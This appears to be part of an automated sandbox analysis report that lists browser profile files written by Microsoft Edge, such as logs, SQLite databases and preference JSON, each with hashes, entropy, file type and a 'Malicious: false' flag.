MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3ed30.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\c985c704-0a8f-412c-af87-5302df859071.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\e0737d86-016a-4a83-a23c-9b88d599a167.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	428
Entropy (8bit):	5.184004647575767
Encrypted:	false
SSDEEP:	12:JK8vLZYebvqBZFUt8Sg/+SrF54ZYebvqBaJ:YGlYebvyg8PXoYebvL
MD5:	8B3444A9DD1F302DA8FA268C8A34D18B
SHA1:	4B2FBDE9F3A6CF93208E4D46FB9BFF3490636D1F
SHA-256:	EE19C241FF4C1AB7DC3C2E61A5F6B7AA01C5F6CD8A8F94190ABAF9AB04AE9918
SHA-512:	4C1546C578EACB1758C64C2284C498A4A3A27F38FEAFCB05316AA94C738051AB872C5CED962A79CD2A17061D361545AAB62283DE7611C683CBD5401BC8289E2B
Malicious:	false
Preview:	2024/11/18-04:26:11.101 1d08 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/18-04:26:11.103 1d08 Recovering log #3.2024/11/18-04:26:11.106 1d08 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	428
Entropy (8bit):	5.184004647575767
Encrypted:	false
SSDEEP:	12:JK8vLZYebvqBZFUt8Sg/+SrF54ZYebvqBaJ:YGlYebvyg8PXoYebvL
MD5:	8B3444A9DD1F302DA8FA268C8A34D18B
SHA1:	4B2FBDE9F3A6CF93208E4D46FB9BFF3490636D1F
SHA-256:	EE19C241FF4C1AB7DC3C2E61A5F6B7AA01C5F6CD8A8F94190ABAF9AB04AE9918
SHA-512:	4C1546C578EACB1758C64C2284C498A4A3A27F38FEAFCB05316AA94C738051AB872C5CED962A79CD2A17061D361545AAB62283DE7611C683CBD5401BC8289E2B
Malicious:	false
Preview:	2024/11/18-04:26:11.101 1d08 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/18-04:26:11.103 1d08 Recovering log #3.2024/11/18-04:26:11.106 1d08 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.2495658295345775
Encrypted:	false
SSDEEP:	6:HUOJ9+q2PcNwi23oH+TcwtpIFUt8YUOiX5Zmw+YUOiXtVkwOcNwi23oH+Tcwta/o:OvLZYebmFUt8/J/+/D54ZYebaUJ
MD5:	7D4EDE636B65D6454C10E48570EA4A66
SHA1:	E883181AAED20D8F3B763928A7DB3B8A3D5F2A36
SHA-256:	53B33D7017C826102D2B21DF7EC6DFEBD640062B562D015D0678199B01E0FA98
SHA-512:	C23E93A28596E5FA86F22575695927D77F1DE3821404945E6EF487AAE3145977916CC47BF9BDFB64FAF16E158E2C19D3F87C6424E3288862BDFDC9BA9A17D9B0
Malicious:	false
Preview:	2024/11/18-04:25:50.861 728 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/18-04:25:50.862 728 Recovering log #3.2024/11/18-04:25:50.862 728 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.2495658295345775
Encrypted:	false
SSDEEP:	6:HUOJ9+q2PcNwi23oH+TcwtpIFUt8YUOiX5Zmw+YUOiXtVkwOcNwi23oH+Tcwta/o:OvLZYebmFUt8/J/+/D54ZYebaUJ
MD5:	7D4EDE636B65D6454C10E48570EA4A66
SHA1:	E883181AAED20D8F3B763928A7DB3B8A3D5F2A36
SHA-256:	53B33D7017C826102D2B21DF7EC6DFEBD640062B562D015D0678199B01E0FA98
SHA-512:	C23E93A28596E5FA86F22575695927D77F1DE3821404945E6EF487AAE3145977916CC47BF9BDFB64FAF16E158E2C19D3F87C6424E3288862BDFDC9BA9A17D9B0
Malicious:	false
Preview:	2024/11/18-04:25:50.861 728 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/18-04:25:50.862 728 Recovering log #3.2024/11/18-04:25:50.862 728 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.265479502491808
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkM2SAELyKOMq+8HKkjucswRv8p3nVumeL:K0q+n0J29ELyKOMq+8HKkjuczRv89aL
MD5:	CEAF4C8260FD46A8812D9EC7D08B0968
SHA1:	5A798A6D824FEA15443F1EA062BA0B652E9ED506
SHA-256:	57ADEAFFB5D4E7AE207813A0BC4E815AE814FBB0F4F711E872FCFBD52CE5709E
SHA-512:	2C5E95AA014578ADFAAF8D956EFDC30984F2A9DC897A922E77445C15BA4D51E311A553104EB7432E945C63C97F8896E72DD82185216AA1EC8D02C7997129FF09
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4667268301592035
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0VW:v7doKsKuKZKlZNmu46yjx0g
MD5:	09F0C8DF1F4FB650F907328079A26EF2
SHA1:	DBE378157A55677583B526934AD3E48DA5218CDC
SHA-256:	21CEDBEB64A6A416F94617CEFF472315503EA73351A55435E743649791C6CFE5
SHA-512:	EC937B5F6C2D8DC4723C367055A708EF2D073C38E71DD167357BE19F387F01A46BFE3D0ECB1114FAD3A336213F7CE3C4453F8D43A49B3A1263ED88D2400BAD88
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d55c6560-855c-4d5e-8f99-9a1e56c3823b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17252), with no line terminators
Category:	dropped
Size (bytes):	17256
Entropy (8bit):	5.4835647796815294
Encrypted:	false
SSDEEP:	192:styJ99QTryDigabatSuypjsv3yaNPVl8ltrXk1NxJh6KMa7L0tahJ7Q88MbV+FCt:styPGKSu4jsv3tJV0+lt7L6hibG5QwFW
MD5:	377DC5E1AB3E1DA934D5F916ED0B912F
SHA1:	9DE42C203EE87A3A2E2B2BBF3BE13C5E49130153
SHA-256:	B4CB3DD5AFB3F78FDEA42D355B9BDB5895128E01F7046E5574B3BF9E152BA9ED
SHA-512:	05B0C75D50F89CDFCE0183CABEF647C5D98E939C3B611F4765324B4A699CB4415A971D69C48AE4D356515D5EDF241FA6E74CA1C0022396D62132208CD189F4B3
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376395551374651","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\dac8eb63-6387-4e07-87cb-3181ed001f31.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f2d5040a-488b-4bc4-aecf-1905496d5010.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17088), with no line terminators
Category:	dropped
Size (bytes):	17092
Entropy (8bit):	5.487086810537105
Encrypted:	false
SSDEEP:	192:styJ99QTryDigabatSuypjsv3yaNPVl8ltrXk1NxJh6KMa7L0tahJ7Q88MbV+FCd:styPGKSu4jsv3tJV0+lt7L6hibG5Qw0
MD5:	1B14801AADB050043CDC97A0F26F17CB
SHA1:	6C076A0C4C01A093B379FCE85B3E0F43CACF9973
SHA-256:	296B7E428F3B40823E6243D949F7D6DAF28F46AEA58F66BA208402EBA092C490
SHA-512:	5256888783A67E6C4EBBC719F785C9E11D306D9783CD2407EBF4482524DC298A8730D0D9168FF3C938F8A38DC6E5989A378AFCEF079F561FAEEA91AECCBDEF27
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376395551374651","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f908ef58-4b84-4f06-8d26-eafb0d774e10.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.1025154015222056
Encrypted:	false
SSDEEP:	12:+4O04OlspEjVl/PnnnnnnnnnnnvoQ/Eou:+4O04OeoPnnnnnnnnnnnv1j
MD5:	036B78CAE21AD4AE6C5F0F9B114DFE5C
SHA1:	10BD1CEFA7F2BB873E76B8425343AB65E2814581
SHA-256:	E1C7DE734365A1920192ECC2CF9447707CC61A564ACDF8A6003F696FFA772963
SHA-512:	CD260E531D62D20BCA6674D18F08E4F016BB05D07A008033267A36759BD299FA20FB53895315ACED9630A9AB201D0BECD6B09A31ABD5D25C2D19251643E47D9D
Malicious:	false
Preview:	..-.............M.......A..../.3.-.....>.....p..-.............M.......A..../.3.-.....>.....p........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8897581253255685
Encrypted:	false
SSDEEP:	384:jYDiptv9o1hkA9gGkojt+O61HEv8vytyjFymy6byRxyBw:vsP
MD5:	1D8F3D4CCB91034B9A91F548E270340E
SHA1:	D1B672732E287EC5DE7A14076480974B9072A973
SHA-256:	5431E5211FD54C2858B632D1B1709EB986EA55983F34FEC4C8C938AB32129FDE
SHA-512:	F57643904723AD5552530E4D2A4A8B108624FCBECE0210411E1505020497269B0840A52509946DC881B1FD9FF7D58511F1A7E4047967CE5E50BAA0A211243866
Malicious:	false
Preview:	7....-..........3.-.......F`..........3.-......+..O.\SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	419
Entropy (8bit):	3.6926851822774145
Encrypted:	false
SSDEEP:	6:/XntM+dl3sedhOmOuuuuuuuuuuuuXBsedhOAn:llc8BOuuuuuuuuuuuuK8l
MD5:	371EF8ACD739ADF709783C6B3E0711DE
SHA1:	512C6847177760F66D5F4BDA5DE2D7EC97189B7D
SHA-256:	E127EC6D485A53F3B90B18A7764636DDC013B834BDA618F3120EF3471B3F91DE
SHA-512:	605033BD88334B03041FBF1DDF5C69173EE13A778DBA2587F5AEE3BE1D2664F0068FDD3F96FFA23FF3A0906A8DAB175021419F7268FA964F13B3880961E30BCD
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1...0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=.................v.0................39_config..........6.....n ...1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.229813676460009
Encrypted:	false
SSDEEP:	6:HUOJ3Oq2PcNwi23oH+TcwtfrK+IFUt8YUOJRoZZmw+YUOJRozkwOcNwi23oH+Tcq:BOvLZYeb23FUt85Z/+5z54ZYeb3J
MD5:	1F05F2477C8EA08EAAA787A02A61E268
SHA1:	6DD73CAEF14CC681E98D96EE01C6AAF26BFFF6BC
SHA-256:	F6DACDFA1321BDFD4581456BD9CE0020FEE78B09E5470FC7C30CC3E9F8A73FCF
SHA-512:	35AC6BB75FDF74A232E83C9B3DA9AD5EBF29DE8F73FB2FE12C14A75604474CD93F35CE99D21096DFBA9F29B91417098E59A5042ED0A83F83E431A75F132333B1
Malicious:	false
Preview:	2024/11/18-04:25:51.567 11e4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/18-04:25:51.568 11e4 Recovering log #3.2024/11/18-04:25:51.568 11e4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.229813676460009
Encrypted:	false
SSDEEP:	6:HUOJ3Oq2PcNwi23oH+TcwtfrK+IFUt8YUOJRoZZmw+YUOJRozkwOcNwi23oH+Tcq:BOvLZYeb23FUt85Z/+5z54ZYeb3J
MD5:	1F05F2477C8EA08EAAA787A02A61E268
SHA1:	6DD73CAEF14CC681E98D96EE01C6AAF26BFFF6BC
SHA-256:	F6DACDFA1321BDFD4581456BD9CE0020FEE78B09E5470FC7C30CC3E9F8A73FCF
SHA-512:	35AC6BB75FDF74A232E83C9B3DA9AD5EBF29DE8F73FB2FE12C14A75604474CD93F35CE99D21096DFBA9F29B91417098E59A5042ED0A83F83E431A75F132333B1
Malicious:	false
Preview:	2024/11/18-04:25:51.567 11e4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/18-04:25:51.568 11e4 Recovering log #3.2024/11/18-04:25:51.568 11e4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

